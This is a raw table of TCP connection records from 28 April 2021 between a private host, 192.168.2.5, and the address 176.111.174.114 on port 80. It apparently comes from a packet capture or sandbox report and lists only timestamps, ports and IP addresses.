Apr 28, 2021 23:24:39.563365936 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.563440084 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.623636007 CEST	80	50241	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.623713970 CEST	50241	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.633815050 CEST	80	50243	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.633971930 CEST	50243	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.634618998 CEST	50243	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.658889055 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.658957005 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.659029961 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.659040928 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.659058094 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.659105062 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.659120083 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.659133911 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.659182072 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.659249067 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.659609079 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.659698009 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.659964085 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.660043001 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.660060883 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.660150051 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.660267115 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.660330057 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.660671949 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.660685062 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.660742998 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.660780907 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.660902977 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.661611080 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.738378048 CEST	80	50243	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.741745949 CEST	80	50243	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.741807938 CEST	50243	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.756732941 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.756782055 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.756805897 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.756824970 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.756834030 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.756851912 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.756865025 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.756881952 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.756927013 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.756956100 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.756985903 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.757075071 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.757174969 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.757262945 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.757296085 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.757358074 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.757504940 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.757574081 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.757951021 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.757963896 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.758059978 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.758130074 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.758208036 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.758348942 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.758367062 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.758431911 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.758465052 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.759109974 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.759124994 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.854536057 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.854564905 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.854579926 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.854595900 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.854819059 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.854835987 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.854850054 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.855070114 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.855087042 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.855207920 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.855366945 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.855384111 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.855756998 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.855777025 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.855930090 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.856139898 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.856156111 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.856381893 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.857871056 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.857953072 CEST	50243	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.858021021 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.859390974 CEST	50244	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.955704927 CEST	80	50242	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.955792904 CEST	50242	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.957315922 CEST	80	50244	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.957453966 CEST	50244	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.958041906 CEST	50244	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:39.962080956 CEST	80	50243	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:39.962147951 CEST	50243	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:40.058852911 CEST	80	50244	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:40.063157082 CEST	80	50244	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:40.063256979 CEST	50244	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:40.169423103 CEST	50244	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:40.172441006 CEST	50246	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:40.267411947 CEST	80	50244	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:40.267579079 CEST	50244	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:40.274092913 CEST	80	50246	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:40.274427891 CEST	50246	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:40.275134087 CEST	50246	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:40.375230074 CEST	80	50246	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:40.378633976 CEST	80	50246	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:40.378751993 CEST	50246	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:40.481436968 CEST	50246	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:40.483328104 CEST	50247	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:40.578500032 CEST	80	50247	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:40.578676939 CEST	50247	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:40.579144001 CEST	50247	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:40.583549023 CEST	80	50246	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:40.583664894 CEST	50246	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:40.672460079 CEST	80	50247	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:40.676707983 CEST	80	50247	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:40.676841021 CEST	50247	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:40.800719023 CEST	50247	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:40.823038101 CEST	50248	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:40.894001961 CEST	80	50247	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:40.894129992 CEST	50247	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:40.922934055 CEST	80	50248	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:40.924211979 CEST	50248	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:40.924874067 CEST	50248	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:41.026964903 CEST	80	50248	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:41.030973911 CEST	80	50248	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:41.031058073 CEST	50248	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:41.137418032 CEST	50248	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:41.138772964 CEST	50250	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:41.232011080 CEST	80	50250	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:41.232249022 CEST	50250	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:41.233042002 CEST	50250	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:41.237262011 CEST	80	50248	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:41.237412930 CEST	50248	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:41.327933073 CEST	80	50250	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:41.332267046 CEST	80	50250	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:41.332484007 CEST	50250	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:41.435168982 CEST	50250	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:41.453954935 CEST	50251	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:41.528767109 CEST	80	50250	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:41.528856039 CEST	50250	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:41.549642086 CEST	80	50251	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:41.549751997 CEST	50251	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:41.550496101 CEST	50251	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:41.646410942 CEST	80	50251	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:41.650437117 CEST	80	50251	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:41.650633097 CEST	50251	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:41.762445927 CEST	50251	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:41.763966084 CEST	50252	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:41.858133078 CEST	80	50251	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:41.858203888 CEST	50251	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:41.861275911 CEST	80	50252	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:41.861414909 CEST	50252	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:41.862034082 CEST	50252	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:41.959428072 CEST	80	50252	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:41.963278055 CEST	80	50252	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:41.963413954 CEST	50252	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.075287104 CEST	50252	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.076533079 CEST	50253	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.171139956 CEST	80	50253	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.171324015 CEST	50253	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.172429085 CEST	50253	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.172771931 CEST	80	50252	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.172852993 CEST	50252	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.266999006 CEST	80	50253	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.270524025 CEST	80	50253	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.270704985 CEST	50253	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.353596926 CEST	50254	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.387346983 CEST	50253	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.388418913 CEST	50255	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.446824074 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.446933985 CEST	50254	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.447221994 CEST	50254	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.482012033 CEST	80	50253	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.482095003 CEST	50253	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.486226082 CEST	80	50255	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.486393929 CEST	50255	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.486946106 CEST	50255	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.541620016 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.541639090 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.541749954 CEST	50254	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.542148113 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.542222023 CEST	50254	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.542309999 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.542388916 CEST	50254	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.584770918 CEST	80	50255	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.588668108 CEST	80	50255	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.588749886 CEST	50255	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.634975910 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.635009050 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.635030985 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.635083914 CEST	50254	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.635107040 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.635245085 CEST	50254	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.635498047 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.635575056 CEST	50254	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.635664940 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.635709047 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.635773897 CEST	50254	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.635807991 CEST	50254	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.700031042 CEST	50255	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.701029062 CEST	50256	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.729655027 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.729682922 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.729700089 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.729720116 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.729760885 CEST	50254	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.729813099 CEST	50254	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.730204105 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.730287075 CEST	50254	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.730351925 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.730462074 CEST	50254	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.730465889 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.730484962 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.730525017 CEST	50254	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.730554104 CEST	50254	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.730911970 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.730967045 CEST	50254	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.731102943 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.731215954 CEST	50254	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.731312037 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.731329918 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.731364965 CEST	50254	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.799149036 CEST	80	50255	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.799237013 CEST	50255	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.801657915 CEST	80	50256	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.801795959 CEST	50256	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.802431107 CEST	50256	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.823179960 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.823209047 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.823230982 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.823287010 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.823470116 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.823642969 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.823813915 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.823997974 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.824188948 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.824213028 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.824337959 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.824539900 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.824563026 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.824681044 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.824883938 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.825062037 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.826838970 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.827014923 CEST	50254	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.901721001 CEST	80	50256	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.905769110 CEST	80	50256	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.905833960 CEST	50256	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:42.920612097 CEST	80	50254	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:42.920701981 CEST	50254	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:43.012793064 CEST	50256	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:43.014868021 CEST	50258	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:43.108314991 CEST	80	50258	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:43.108405113 CEST	50258	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:43.109121084 CEST	50258	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:43.112050056 CEST	80	50256	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:43.112180948 CEST	50256	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:43.203290939 CEST	80	50258	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:43.207767010 CEST	80	50258	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:43.207851887 CEST	50258	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:43.328361988 CEST	50258	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:43.330176115 CEST	50259	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:43.421855927 CEST	80	50258	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:43.421983957 CEST	50258	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:43.429622889 CEST	80	50259	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:43.429764986 CEST	50259	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:43.430366993 CEST	50259	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:43.531625032 CEST	80	50259	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:43.535075903 CEST	80	50259	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:43.535228014 CEST	50259	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:43.637686968 CEST	50259	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:43.639054060 CEST	50260	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:43.737368107 CEST	80	50260	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:43.738044977 CEST	50260	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:43.738605976 CEST	50260	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:43.739171982 CEST	80	50259	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:43.739263058 CEST	50259	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:43.837037086 CEST	80	50260	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:43.840931892 CEST	80	50260	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:43.841026068 CEST	50260	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:43.949872017 CEST	50260	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:43.951809883 CEST	50261	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:44.047264099 CEST	80	50260	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:44.047418118 CEST	50260	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:44.053522110 CEST	80	50261	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:44.053653002 CEST	50261	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:44.054313898 CEST	50261	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:44.153543949 CEST	80	50261	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:44.156105042 CEST	80	50261	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:44.156239033 CEST	50261	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:44.263354063 CEST	50261	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:44.264931917 CEST	50263	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:44.365158081 CEST	80	50261	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:44.365335941 CEST	50261	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:44.370038986 CEST	80	50263	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:44.370285988 CEST	50263	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:44.371148109 CEST	50263	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:44.476294041 CEST	80	50263	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:44.478441954 CEST	80	50263	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:44.478631973 CEST	50263	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:44.591319084 CEST	50263	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:44.592443943 CEST	50264	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:44.691303015 CEST	80	50264	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:44.691432953 CEST	50264	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:44.693011045 CEST	50264	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:44.696280956 CEST	80	50263	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:44.696441889 CEST	50263	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:44.793129921 CEST	80	50264	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:44.799566984 CEST	80	50264	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:44.799762964 CEST	50264	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:44.904284000 CEST	50264	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:44.906708002 CEST	50265	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.000516891 CEST	80	50265	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.000679016 CEST	50265	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.002563953 CEST	50265	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.004632950 CEST	80	50264	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.004729033 CEST	50264	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.101495028 CEST	80	50265	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.101525068 CEST	80	50265	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.101833105 CEST	50265	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.218229055 CEST	50265	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.219715118 CEST	50266	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.310129881 CEST	50267	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.312446117 CEST	80	50265	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.312570095 CEST	50265	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.315727949 CEST	80	50266	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.315823078 CEST	50266	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.316468954 CEST	50266	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.413204908 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.413316965 CEST	50267	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.413587093 CEST	50267	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.416201115 CEST	80	50266	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.421562910 CEST	80	50266	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.421653986 CEST	50266	80	192.168.2.5	176.111.174.114
